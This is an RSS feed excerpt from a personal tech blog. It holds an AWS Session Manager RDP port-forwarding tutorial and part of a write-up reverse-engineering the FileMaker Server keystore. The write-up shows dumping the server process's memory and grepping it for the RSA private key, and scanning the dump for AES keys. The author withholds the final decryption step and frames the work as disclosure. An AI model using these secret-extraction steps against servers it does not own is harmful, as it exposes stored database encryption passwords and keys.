&lt;/ul&gt;</description></item><item><title>Connecting to a private Windows EC2 instance without exposing RDP to the internet</title><link>https://davidhamann.de/2024/02/12/connecting-to-private-ec2-instance-without-exposing-rdp-to-internet/</link><pubDate>Mon, 12 Feb 2024 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2024/02/12/connecting-to-private-ec2-instance-without-exposing-rdp-to-internet/</guid><description>&lt;h2 id="the-problem-statement"&gt;The problem statement&lt;/h2&gt;
&lt;p&gt;Let&amp;rsquo;s say you have a (Windows or Linux) EC2 instance in a private subnet and want to access it interactively. There are several ways to do this:&lt;/p&gt;
&lt;p&gt;You could use a bastion host in your public subnet, harden it and limit access to a certain IP range, and then tunnel your SSH or RDP (or any other TCP) traffic through this host using SSH.&lt;/p&gt;
&lt;p&gt;Alternatively, you could set up a VPN server through which to connect to your instance.&lt;/p&gt;
&lt;p&gt;Another option for RDP could be an RDP gateway (to not expose RDP directly).&lt;/p&gt;
&lt;p&gt;Or you could just care a little less and put your instance in a public subnet, make it directly addressable, lock down source IPs with a security group, and live with the risk of not having an additional layer in front.&lt;/p&gt;
&lt;p&gt;Any other idea?&lt;/p&gt;
&lt;h2 id="aws-systems-manager-session-manager"&gt;AWS Systems Manager Session Manager&lt;/h2&gt;
&lt;p&gt;There&amp;rsquo;s actually another relatively straightforward way to connect to your instance – AWS managed and without the requirement to open ports to any of your resources, manage SSH keys or maintain your own bastion hosts.&lt;/p&gt;
&lt;p&gt;With AWS Systems Manager Session Manager, you (or any IAM user with permission) can open a session to your private instance either from the AWS console in the browser or through your local machine. You can even get a connection history and shell logs of established sessions and do your user management as you are already used to in AWS IAM.&lt;/p&gt;
&lt;p&gt;If the last paragraph sounded like an advertisement, it wasn&amp;rsquo;t supposed to :-) I&amp;rsquo;m generally a fan of using established and vendor-independent tools and procedures; so if you already have everything set up and an established secure workflow with a VPN or bastion host, it may not be too interesting for you. If your resources are primarily on AWS, however, it is still a useful service to know about.&lt;/p&gt;
&lt;p&gt;Since I just had this use case for a Windows server to which I also needed GUI access, I wrote down my steps. Let&amp;rsquo;s see how we can practically set up this scenario for RDP.&lt;/p&gt;
&lt;h2 id="what-this-tutorial-is-about"&gt;What this tutorial is about&lt;/h2&gt;
&lt;p&gt;In the following steps we will create a new VPC with a public (i.e. with a route to an internet gateway) and a private subnet.&lt;/p&gt;
&lt;p&gt;For internet access, we will give the private subnet a route to a NAT gateway residing in the public subnet. Then we will continue by creating an instance which can assume a role for Session Manager Management.&lt;/p&gt;
&lt;p&gt;And finally, we will create a port-forwarding session and access our private instance through a local RDP client.&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 It&amp;rsquo;s also possible to do this without internet access by using VPC endpoints; I think the EC2 instance only needs to have egress port 443 allowed to the SSM gateway endpoints. You can see the Session Manager Agent on the EC2 instance establishing these connections.
&lt;/div&gt;

&lt;p&gt;If you just want to see how to connect, &lt;a href="https://davidhamann.de/2024/02/12/connecting-to-private-ec2-instance-without-exposing-rdp-to-internet/#installing-session-manager-plugin-starting-port-forwarding-session-and-connecting-via-rdp"&gt;jump to the end of the article&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="creating-vpc-subnets-gateways-routes"&gt;Creating VPC, subnets, gateways, routes&lt;/h2&gt;
&lt;p&gt;Let&amp;rsquo;s create a VPC with a small IP range (adjust as you like), giving us space for about 250 hosts (not counting network, a couple of AWS internal reserved hosts, and broadcast). More than enough as we will actually only have one instance and NAT gateway for this demo setup.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;aws ec2 create-vpc --cidr-block 10.0.0.0/24 # from now on: vpc-1234
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Next, we create an internet gateway and attach it to our VPC:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;aws ec2 create-internet-gateway # from now on: igw-1234
aws ec2 attach-internet-gateway --internet-gateway-id igw-1234 --vpc-id vpc-1234
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Let&amp;rsquo;s continue by creating two subnets. One public (to which we connect the internet gateway) and one private (where our Windows server will reside). Again, I&amp;rsquo;ll just split the /24 network into two parts, but you might want something else.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;aws ec2 create-subnet --vpc-id vpc-1234 --cidr-block 10.0.0.0/25 # from now on: subnet-1234 (will become public)
aws ec2 create-subnet --vpc-id vpc-1234 --cidr-block 10.0.0.128/25 # from now on: subnet-5678 (will stay private)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To give the private subnet access to the internet, we&amp;rsquo;ll add a NAT gateway and assign it an IP address:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;aws ec2 allocate-address --domain vpc --network-border-group eu-central-1 # from now: eipalloc-1234
aws ec2 create-nat-gateway --subnet-id subnet-1234 --allocation-id eipalloc-1234 # from now on: nat-1234
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And finally, we create the route table and routes.&lt;/p&gt;
&lt;p&gt;First, for the public subnet:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;aws ec2 create-route-table --vpc-id vpc-1234 # from now on: rtb-1234
aws ec2 associate-route-table --route-table-id rtb-1234 --subnet-id subnet-1234
aws ec2 create-route --route-table-id rtb-1234 --destination-cidr-block &amp;#34;0.0.0.0/0&amp;#34; --gateway-id igw-1234
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And then for the private subnet:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;aws ec2 create-route-table --vpc-id vpc-1234 # from now on: rtb-5678
aws ec2 associate-route-table --route-table-id rtb-5678 --subnet-id subnet-5678
aws ec2 create-route --route-table-id rtb-5678 --destination-cidr-block &amp;#34;0.0.0.0/0&amp;#34; --nat-gateway-id nat-1234
&lt;/code&gt;&lt;/pre&gt;&lt;div class="notice notice-info"&gt;
 Note that the route tables will additionally always get a default route for destination 10.0.0.0/24 to target local on creation.
&lt;/div&gt;

&lt;h2 id="setting-up-instance-profile-and-creating-windows-server-in-private-subnet"&gt;Setting up instance profile and creating Windows server in private subnet&lt;/h2&gt;
&lt;p&gt;We start out by creating a role with an EC2 trust relationship, such that instances can assume this role.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# EC2AssumeRoleSTS.json
{
 &amp;#34;Version&amp;#34;: &amp;#34;2012-10-17&amp;#34;,
 &amp;#34;Statement&amp;#34;: {
 &amp;#34;Effect&amp;#34;: &amp;#34;Allow&amp;#34;,
 &amp;#34;Principal&amp;#34;: {
 &amp;#34;Service&amp;#34;: &amp;#34;ec2.amazonaws.com&amp;#34;
 },
 &amp;#34;Action&amp;#34;: &amp;#34;sts:AssumeRole&amp;#34;
 }
}

aws iam create-role --role-name SSMManagedEC2 --assume-role-policy-document file://EC2AssumeRoleSTS.json
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The first relevant piece for this whole Session Manager scenario is to add the (AWS managed) policy &lt;code&gt;AmazonSSMManagedInstanceCore&lt;/code&gt; (&lt;code&gt;arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore&lt;/code&gt;) to our role, which enables the AWS Systems Manager core functionality.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;aws iam attach-role-policy --role-name SSMManagedEC2 --policy arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And since we want to use the role for the EC2 instance, we create an instance profile and then attach the role to it:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;aws iam create-instance-profile --instance-profile-name SSMEC2
aws iam add-role-to-instance-profile --instance-profile-name SSMEC2 --role-name SSMManagedEC2
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Finally, we can create our instance in the private subnet and specify the instance type, profile and image (AMI). I&amp;rsquo;m using an AMI for a Windows Server 2022 in eu-central-1 region. You could additionaly also specify a key-pair, but don&amp;rsquo;t have to as you can later access the instance from the browser via the AWS console (Instance -&amp;gt; Connect -&amp;gt; Session Manager) and create your user/change password from there (you&amp;rsquo;ll be dropped into a PowerShell session as a privileged &lt;code&gt;ssm-user&lt;/code&gt;).&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;aws ec2 run-instances --instance-type t2.medium --subnet-id subnet-5678 --image-id ami-0ced908879ca69797 --iam-instance-profile Arn=arn:aws:iam::&amp;lt;your-account-id&amp;gt;:instance-profile/SSMEC2 # from now on: i-1234
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Please note that you have to install the &lt;a href="https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-install-ssm-win.html"&gt;System Manager Agent&lt;/a&gt; on the instance yourself, if you&amp;rsquo;re not using an AWS provided AMI. For the one mentoned above, no extra steps are required.&lt;/p&gt;
&lt;h2 id="installing-session-manager-plugin-starting-port-forwarding-session-and-connecting-via-rdp"&gt;Installing Session Manager plugin, starting port-forwarding session and connecting via RDP&lt;/h2&gt;
&lt;p&gt;If you can live with working in a browser, there&amp;rsquo;s not much else to do. Just hit the &amp;ldquo;Connect&amp;rdquo; button in the AWS console&amp;rsquo;s EC2 dashboard, select Session Manager, and your session will start (either a PowerShell session as the privileged &lt;code&gt;ssm-user&lt;/code&gt;, or an RDP session via &amp;ldquo;Fleet Manager&amp;rdquo;).&lt;/p&gt;
&lt;p&gt;If you want access from your local terminal or your local RDP client (or direct access to any other network application on the instance, really), you can use the port-forwarding feature.&lt;/p&gt;
&lt;p&gt;To be able to start a session from your local machine you first have to install the Session Manager plugin from AWS (next to the &lt;code&gt;awscli&lt;/code&gt;). If you use &lt;code&gt;brew&lt;/code&gt; (on macOS), you can &lt;code&gt;brew install --cask session-manager-plugin&lt;/code&gt;. For a manual install or a different OS &lt;a href="https://docs.aws.amazon.com/systems-manager/latest/userguide/session-manager-working-with-install-plugin.html"&gt;see the install guide&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Now we&amp;rsquo;re finally ready to connect. Let&amp;rsquo;s open up an RDP client and get our Windows user/password ready (decrypt the randomly generated one either via your key-pair or create a new user/password via the Session Manager in the AWS console, as mentioned above).&lt;/p&gt;
&lt;p&gt;We can then use the &lt;code&gt;ssm&lt;/code&gt; command to start our session. And just like we would do with SSH, we can specify a port mapping. In the following I map the remote RDP port 3389 to an arbitrary local port:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;aws ssm start-session --target i-1234 --document-name AWS-StartPortForwardingSession --parameters &amp;#39;{&amp;#34;portNumber&amp;#34;:[&amp;#34;3389&amp;#34;], &amp;#34;localPortNumber&amp;#34;: [&amp;#34;33089&amp;#34;]}&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;With our local RDP client, we can now connect to &lt;code&gt;localhost:33089&lt;/code&gt;, authenticate with the Windows credentials and get a regular RDP experience.&lt;/p&gt;
&lt;p&gt;If you work with SSH, you can also use the Session Manager as a proxy for your SSH session (&lt;code&gt;document-name AWS-StartSSHSession&lt;/code&gt;).&lt;/p&gt;</description></item><item><title>Deciphering the FileMaker Server keystore</title><link>https://davidhamann.de/2023/05/29/deciphering-the-filemaker-keystore/</link><pubDate>Mon, 29 May 2023 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2023/05/29/deciphering-the-filemaker-keystore/</guid><description>&lt;h2 id="introduction"&gt;Introduction&lt;/h2&gt;
&lt;p&gt;While checking out how the &lt;a href="https://davidhamann.de/2023/03/16/upload-filemaker-files-without-pro-client/"&gt;FileMaker Pro to Server upload feature worked&lt;/a&gt;, I noticed that credentials were encrypted using a RSA public key before being sent to the server.&lt;/p&gt;
&lt;p&gt;I looked into FileMaker Server&amp;rsquo;s installation directory and found that the private key was stored in the &lt;code&gt;CStore/keystore&lt;/code&gt; file – at least I assumed it, as the file stores keys and values, where the keys are base64-encoded strings, one of them being &lt;code&gt;bWFjaGluZVByaXZhdGVLZXk=&lt;/code&gt;, or &lt;code&gt;machinePrivateKey&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;While the values are base64-encoded just like the keys, decoding them just reveals ciphertext, so you cannot really tell what you are looking at.&lt;/p&gt;
&lt;p&gt;Next to the &lt;code&gt;machinePrivateKey&lt;/code&gt; I saw several encoded file UUIDs which values represented the EAR (encryption at rest) &amp;ldquo;encryption password&amp;rdquo; for files hosted by the server. This became obvious when new entries appeared in the &lt;code&gt;keystore&lt;/code&gt; after uploading encrypted files and choosing to save the password (to be able to auto-open the files after a reboot).&lt;/p&gt;
&lt;p&gt;At this point I decided to spend some time to better understand how the keystore actually works, how secrets are protected and if I could replicate the encryption/decryption process to decipher the stored values.&lt;/p&gt;
&lt;p&gt;In this post I want to share what I figured out, but more so show my approach (including failed attempts), so that you can hopefully benefit from it when taking on similar problems. I will talk about learning from observing the data, doing memory dumps, attaching debuggers, and a little bit of cryptography.&lt;/p&gt;
&lt;h3 id="some-notes-before-you-read-on"&gt;Some notes before you read on&lt;/h3&gt;
&lt;p&gt;I generally believe it&amp;rsquo;s useful to have a better understanding of the inner workings of the systems you&amp;rsquo;re using on a daliy basis (and maybe even depend on) – to help with troubleshooting, to be able to judge what features to use or to ignore, what risks to accept and to make sense of (sometimes odd) software behaviors. In my opinion most of these things are better publicly documented than privately/exclusively shared.&lt;/p&gt;
&lt;p&gt;But I also talked to a couple of people and was advised to omit a few details, such that not a full decryption script is made available. In the last part I will thus skip over a few steps to keep it brief and don&amp;rsquo;t reveal the final part required to recreate the encryption key. I do, however, give pointers on where to look if you would like to try it yourself as an exercise.&lt;/p&gt;
&lt;div class="notice notice-danger"&gt;
 If you follow along with this article, please be aware that the actions taken can damage your FMS installation and hosted databases.
&lt;/div&gt;

&lt;p&gt;Lastly, I&amp;rsquo;m not a professional reverse engineer, so there might be more straightforward ways of tackling the same problem and mine are not necessarily the best/fastest (in fact I&amp;rsquo;ve later learned many things that could have led me to the result much more quickly).&lt;/p&gt;
&lt;p&gt;If you are still curious, please read on.&lt;/p&gt;
&lt;h2 id="first-insights-by-looking-at-the-data"&gt;First insights by looking at the data&lt;/h2&gt;
&lt;p&gt;When you want to figure out an unknown encoding or encryption system it&amp;rsquo;s extremely helpful if you are able to observe how new data (entered by you) is encoded/encrypted.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s have a look what insights can be gained just by observing data.&lt;/p&gt;
&lt;p&gt;Opening the &lt;code&gt;keystore&lt;/code&gt; file (which is publicly readable by default, by the way), we can identify two things quickly:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;RTI2Q0M1RkJGOUEyNDQ1OEE3MzE0QjE0RUIyQkY4RTY=;9acSKigNs3IHuEikQeit1Q==
RTY2RDdBQjQ0NjgwNENCRjg2RjZCMDAxNkUwNzk3MTQ=;b442h3lSslgZ66HAwoSO7+jm1Xcw0O7DSmRlW9bkRrj7EUeRYaj8K6VEsLWSYh8x
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;First, it seems the &lt;code&gt;;&lt;/code&gt; is the separator. And second, based on the set of characters and padding at the end, the encoding looks like base64.&lt;/p&gt;
&lt;p&gt;To verify, we can do &lt;code&gt;echo -n RTY2RDdBQjQ0NjgwNENCRjg2RjZCMDAxNkUwNzk3MTQ= | base64 -d&lt;/code&gt; and observe the decoded data. In this case it&amp;rsquo;s &lt;code&gt;E66D7AB446804CBF86F6B0016E079714&lt;/code&gt;, which could be a &lt;a href="https://en.wikipedia.org/wiki/Universally_unique_identifier"&gt;UUID&lt;/a&gt; (16 bytes, in hexadecimal format). Of course, it could be other things, but in this context (identifying a file) it seems likely.&lt;/p&gt;
&lt;p&gt;Without knowing the details of the &lt;code&gt;fmp12&lt;/code&gt; file format, we could still quickly peak at the raw bytes of the hosted database to determine if this ID appears somewhere at the beginning of the file. And sure it does:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ xxd my_file.fmp12 | head -n 20
00000000: 0001 0000 0002 0001 0005 0002 0002 c048 ...............H
00000010: 4241 4d65 0000 1000 0000 0000 0000 0000 BAMe............
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
... here it starts (16 bytes from position 250):
000000f0: 0000 0000 0000 0000 0000 e66d 7ab4 4680 ...........mz.F.
00000100: 4cbf 86f6 b001 6e07 9714 efb8 6c2e 2af4 L.....n.....l.*.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Let&amp;rsquo;s now look at the part after the semicolon – the one that is more interesting, but currently looks like garbage.&lt;/p&gt;
&lt;p&gt;Base64-decoding the two samples from above, wee see:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ echo -n &amp;#39;9acSKigNs3IHuEikQeit1Q==&amp;#39; | base64 -d | xxd
00000000: f5a7 122a 280d b372 07b8 48a4 41e8 add5 ...*(..r..H.A...

$ echo -n &amp;#39;b442h3lSslgZ66HAwoSO7+jm1Xcw0O7DSmRlW9bkRrj7EUeRYaj8K6VEsLWSYh8x&amp;#39; | base64 -d | xxd
00000000: 6f8e 3687 7952 b258 19eb a1c0 c284 8eef o.6.yR.X........
00000010: e8e6 d577 30d0 eec3 4a64 655b d6e4 46b8 ...w0...Jde[..F.
00000020: fb11 4791 61a8 fc2b a544 b0b5 9262 1f31 ..G.a..+.D...b.1
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;While the data does not look useful at first sight, we can see that the first sample is 16 bytes long and the second one is 48 bytes long.&lt;/p&gt;
&lt;p&gt;Setting an EAR password to another file, uploading it and storing the password on the server, we can observe different ciphertext lengths for different plaintext lengths.&lt;/p&gt;
&lt;p&gt;If our EAR password is less than 16 bytes, we still get 16 bytes of ciphertext. If it&amp;rsquo;s greater than 16 bytes, but less than 32 bytes, we get 32 bytes of ciphertext.&lt;/p&gt;
&lt;p&gt;We can be relatively certain that the server only encrypts full blocks of 16 bytes, suggesting a block cipher with a size of 128 bits.&lt;/p&gt;
&lt;p&gt;Next, we can check if we get the same ciphertext on a different FileMaker Server installation. This is not the case, so the key is likely unique for every server.&lt;/p&gt;
&lt;p&gt;How about using the same EAR password for a different database file? Does this create a different ciphertext?&lt;/p&gt;
&lt;p&gt;After trying, we see that it does &lt;em&gt;not&lt;/em&gt; produce a different ciphertext. This means that the file identifier does not play a role in the encryption. It also means that a static key and no &lt;a href="https://en.wikipedia.org/wiki/Initialization_vector"&gt;initialization vector&lt;/a&gt; (or a static one) is used, since a different initialization vector would cause the ciphertext to be different, even if the same plaintext and key is used (assuming we have an IV and use &amp;ldquo;cipher-block chaining&amp;rdquo;; see explanation in box below).&lt;/p&gt;
&lt;p&gt;Another good test to verify this is to encrypt two EAR passwords which have the same first 16 bytes. For example:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;File 1: AAAAAAAAAAAAAAAA|AAAAAAAAAAAAAAAAAAAAAAAA
File 2: AAAAAAAAAAAAAAAA|A
 ^ 16 bytes
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;On my test server these two produce the following two ciphertexts:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;b442h3lSslgZ66HAwoSO7+jm1Xcw0O7DSmRlW9bkRrj7EUeRYaj8K6VEsLWSYh8x
b442h3lSslgZ66HAwoSO78+E2b55R4CaKGiFSnwfUeQ=
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Or as hex:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;00000000: 6f8e 3687 7952 b258 19eb a1c0 c284 8eef o.6.yR.X........
00000010: e8e6 d577 30d0 eec3 4a64 655b d6e4 46b8 ...w0...Jde[..F.
00000020: fb11 4791 61a8 fc2b a544 b0b5 9262 1f31 ..G.a..+.D...b.1

00000000: 6f8e 3687 7952 b258 19eb a1c0 c284 8eef o.6.yR.X........
00000010: cf84 d9be 7947 809a 2868 854a 7c1f 51e4 ....yG..(h.J|.Q.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You can clearly see that the first 16 bytes are exactly the same (just like the 16 bytes of the plaintext).&lt;/p&gt;
&lt;p&gt;Normally, you would not want your ciphertext to &amp;ldquo;leak&amp;rdquo; semantic information as shown and this is something that could certainly be improved.&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 If you were to encrypt every block of data with the same key, identical blocks of plaintext would produce identical blocks of ciphertexts. One strategy to prevent this is to let the results of each block influence the next block (so-called &amp;ldquo;&lt;strong&gt;cipher-block chaining&lt;/strong&gt;&amp;rdquo;). Here, each plaintext block is XORed with the previous ciphertext block (and subsequently encrypted).&lt;br&gt;&lt;br&gt;To kickstart this process, however, you need an additional input for the first block, and this is where the &lt;strong&gt;initialization vector&lt;/strong&gt; comes in. It will be used to XOR the first plaintext.&lt;br&gt;&lt;br&gt;If you were to experiment more, you would see that cipher-block chaining is indeed used for the FMS keystore values, but with an initialization vector of all zeros. This way you still output the same ciphertext blocks for identical plaintext blocks at the beginning.&lt;br&gt;&lt;br&gt;If you like to test this for yourself you can play around with &lt;code&gt;openssl&lt;/code&gt;. For example:&lt;br&gt;&lt;code&gt;openssl enc -aes-256-cbc -in test.txt -k &amp;lt;some-key-as-hex&amp;gt; -iv 00000000000000000000000000000000 -out test.enc&lt;/code&gt;.
&lt;/div&gt;

&lt;h2 id="just-read-the-docs"&gt;Just read the docs&lt;/h2&gt;
&lt;p&gt;Whenever you have documentation available, make sure to read it. It might give you pointers on how to narrow down the space of things to try next.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://help.claris.com/en/security-guide/content/encrypt-app.html"&gt;Claris&amp;rsquo; documentation&lt;/a&gt; has a statement on how passwords are stored:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;When you open an encrypted file on FileMaker Server or FileMaker Cloud, you can save the password to automatically open encrypted files when the server restarts. FileMaker employs a two-way AES-256 encryption that uses a composite key based on information from the machine to encrypt the password and stores the password securely on the server.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;(Unfortunately, as we will learn later, this is not entirely correct, so it&amp;rsquo;s also a good idea to second-guess/verify official information).&lt;/p&gt;
&lt;h2 id="what-do-we-know-so-far"&gt;What do we know so far?&lt;/h2&gt;
&lt;p&gt;Let&amp;rsquo;s recap on what we learned so far by just observing data and reading the docs:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;keystore&lt;/code&gt; contains keys and values separated by semicolon&lt;/li&gt;
&lt;li&gt;Keys are just base64 encoded. Values are encrypted and base64 encoded&lt;/li&gt;
&lt;li&gt;We&amp;rsquo;re dealing with a block cipher (takes a fixed size block and outputs a block of the same size)&lt;/li&gt;
&lt;li&gt;The docs mention AES with 256-bit key&lt;/li&gt;
&lt;li&gt;A static (or no) initialization vector is used&lt;/li&gt;
&lt;li&gt;A static key is used&lt;/li&gt;
&lt;li&gt;The key is unique per installation and file IDs/properties don&amp;rsquo;t play a role here&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="a-lazy-try-just-dump-the-memory"&gt;A lazy try: just dump the memory&lt;/h2&gt;
&lt;p&gt;After looking at the data and the docs my first attempt was to test if some or all of the information of the &lt;code&gt;keystore&lt;/code&gt; can be retrieved in unencrypted form from memory. It&amp;rsquo;s unlikely we learn anything about how data is encrypted but we can check if the server cleans up secrets after use. Also, grepping through a memory dump is not a lot of effort, so you might as well give it a shot (which is why I labeled this &amp;ldquo;a lazy try&amp;rdquo;).&lt;/p&gt;
&lt;p&gt;My test server is running on Linux and I&amp;rsquo;m using &lt;a href="https://github.com/Sysinternals/ProcDump-for-Linux"&gt;&lt;code&gt;procdump&lt;/code&gt;&lt;/a&gt; (the Linux version of the original Windows SysInternals tool).&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s first figure out the process ID of &lt;code&gt;fmserverd&lt;/code&gt; with &lt;code&gt;pgrep fmserverd&lt;/code&gt; and then dump the memory with &lt;code&gt;procdump &amp;lt;pid&amp;gt;&lt;/code&gt;. The result is a dump with more than a gigabyte of size.&lt;/p&gt;
&lt;p&gt;Since we know the plaintext values that the server encrypted, we can &lt;code&gt;grep&lt;/code&gt; for these strings in the dump file.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ strings fmserverd_time_2023-... | grep &amp;#39;some EAR password&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;No luck (which is a good thing, as you don&amp;rsquo;t want your secrets explosed like this). But what about the RSA private key that we expect to be the value of the key &lt;code&gt;machinePrivateKey&lt;/code&gt;?&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ strings fmserverd_time_2023-04-23_14\:37\:25.1001 | grep &amp;#39;BEGIN RSA PRIVATE&amp;#39; -A10

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA27LEJB8uCqezntbENVPdrV/xTnnshR2fQPWFNr3Rcr10tjBa
...
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Turns out the private key is hanging out in unencrypted form in memory. Let&amp;rsquo;s check if it matches the public key file &lt;code&gt;CStore/machinePublicKey&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;A quick way to do this is to extract the public key from the discovered private key and then compare it to the &lt;code&gt;machinePublicKey&lt;/code&gt; file.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;openssl rsa -in machinePrivateKey.key -pubout &amp;gt; machinePublicKey.extracted
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This gives us a public key which – by looking at it – doesn&amp;rsquo;t match the one from the FileMaker Server installation. However, this is just because it&amp;rsquo;s not in PKCS#1 format like the original one. We can convert it and see that it&amp;rsquo;s a match now:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;openssl rsa -pubin -in machinePublicKey.extracted -RSAPublicKey_out -out machinePublicKey.extracted.pkcs1
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="what-now"&gt;What now?&lt;/h2&gt;
&lt;p&gt;If we only wanted to know the RSA private key, we would have succeeded by now. But even if we would also have gotten our other secrets in plaintext, it would not really help us as we still don&amp;rsquo;t understand how the values are encrypted, wouldn&amp;rsquo;t know what to search for when not knowing the plaintext, and don&amp;rsquo;t understand the memory structure.&lt;/p&gt;
&lt;p&gt;So what could be the next step? Since we are anyhow dealing with memory dumps, maybe we can find the actual AES key used to encrypt the keystore values in memory?&lt;/p&gt;
&lt;h2 id="extracting-aes-keys-from-memory"&gt;Extracting AES keys from memory&lt;/h2&gt;
&lt;p&gt;How could we possibly find what 16 or 32 bytes are an AES key when getting handed a dump of more than gigabyte of seemingly random data?&lt;/p&gt;
&lt;p&gt;When we put a key into AES, the key is actually expanded into so-called round keys (11 rounds for 128-bit keys, 15 for 256-bit keys). These round keys are needed for the encryption/decryption process and might thus be hanging around in memory. By checking the memory for random-looking (i.e. high entropy) byte sequences using a sliding window of the size of the so-called key schedule (all the roundkeys), it is possible to get a list of potential keys.&lt;/p&gt;
&lt;p&gt;Here&amp;rsquo;s a &lt;a href="https://www.youtube.com/watch?v=rmqWaktEpcw"&gt;good video explaining the key expansion&lt;/a&gt; and here&amp;rsquo;s &lt;a href="https://diyinfosec.medium.com/scanning-memory-for-fek-e17ca3db09c9"&gt;an article describing in more detail what options are available to extract keys from memory dumps&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Since it&amp;rsquo;s kind of a long shot anyway, I didn&amp;rsquo;t spend too much time in this phase and just ran two forensic tools over the dump. One was &lt;a href="https://github.com/simsong/bulk_extractor"&gt;bulk_extractor&lt;/a&gt; and the other &lt;a href="https://salsa.debian.org/pkg-security-team/aeskeyfind"&gt;aeskeyfind&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Using the tools is straight-forward. For example: &lt;code&gt;bulk_extractor -E aes my_dump -o extraction_output&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;While the tools found some potential AES-128-bit keys, none of them were matching or weren&amp;rsquo;t even keys at all. They could have also been from the encryption/decryption routines that go on when the server encrypts/decrypts individual pages of the opened hosted databases.&lt;/p&gt;
&lt;p&gt;I tried once more to dump the memory multiple times during FMS startup with a lot of encrypted files being opened (which would require keystore values being decrypted) and also during repeated opening/closing of a file in a loop, but it obviously didn&amp;rsquo;t produce any detectable keys in the dumps.&lt;/p&gt;
&lt;p&gt;Getting the key so seemlessly by running a tool would have been nice in a way, but I&amp;rsquo;m also kind of reliefed that it wasn&amp;rsquo;t that easy :-)&lt;/p&gt;
&lt;h2 id="looking-at-what-the-program-is-doing-and-extracting-the-key"&gt;Looking at what the program is doing and extracting the key&lt;/h2&gt;
&lt;p&gt;Since the &amp;ldquo;lazier&amp;rdquo; attempts didn&amp;rsquo;t result in any new insights, let&amp;rsquo;s actually try to observe what the program (&lt;code&gt;fmserverd&lt;/code&gt;) is doing.&lt;/p&gt;
&lt;p&gt;We obviously don&amp;rsquo;t have any source code, but as the program runs on our computer, we can attach a debugger and inspect the behavior, see loaded libraries, disassemble parts of it and step through the interesting bits.&lt;/p&gt;
&lt;p&gt;I used &lt;code&gt;gdb&lt;/code&gt; on Linux and &lt;code&gt;lldb&lt;/code&gt; on macOS. Please note, that on macOS you will need to disable &lt;a href="https://developer.apple.com/documentation/security/disabling_and_enabling_system_integrity_protection"&gt;System Integrity Protection&lt;/a&gt; (or remove the program&amp;rsquo;s code signature) to attach to a running process.&lt;/p&gt;
&lt;p&gt;On our Linux server, we can start by attaching with &lt;code&gt;gdb -p &amp;lt;pid&amp;gt;&lt;/code&gt; and on macOS with &lt;code&gt;lldb -p &amp;lt;pid&amp;gt;&lt;/code&gt;. Luckily, the binaries are not stripped of symbols, so we can see function names and of course the exports of the libraries.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s first have a look at loaded libraries of a running server instance on Linux:&lt;/p&gt;
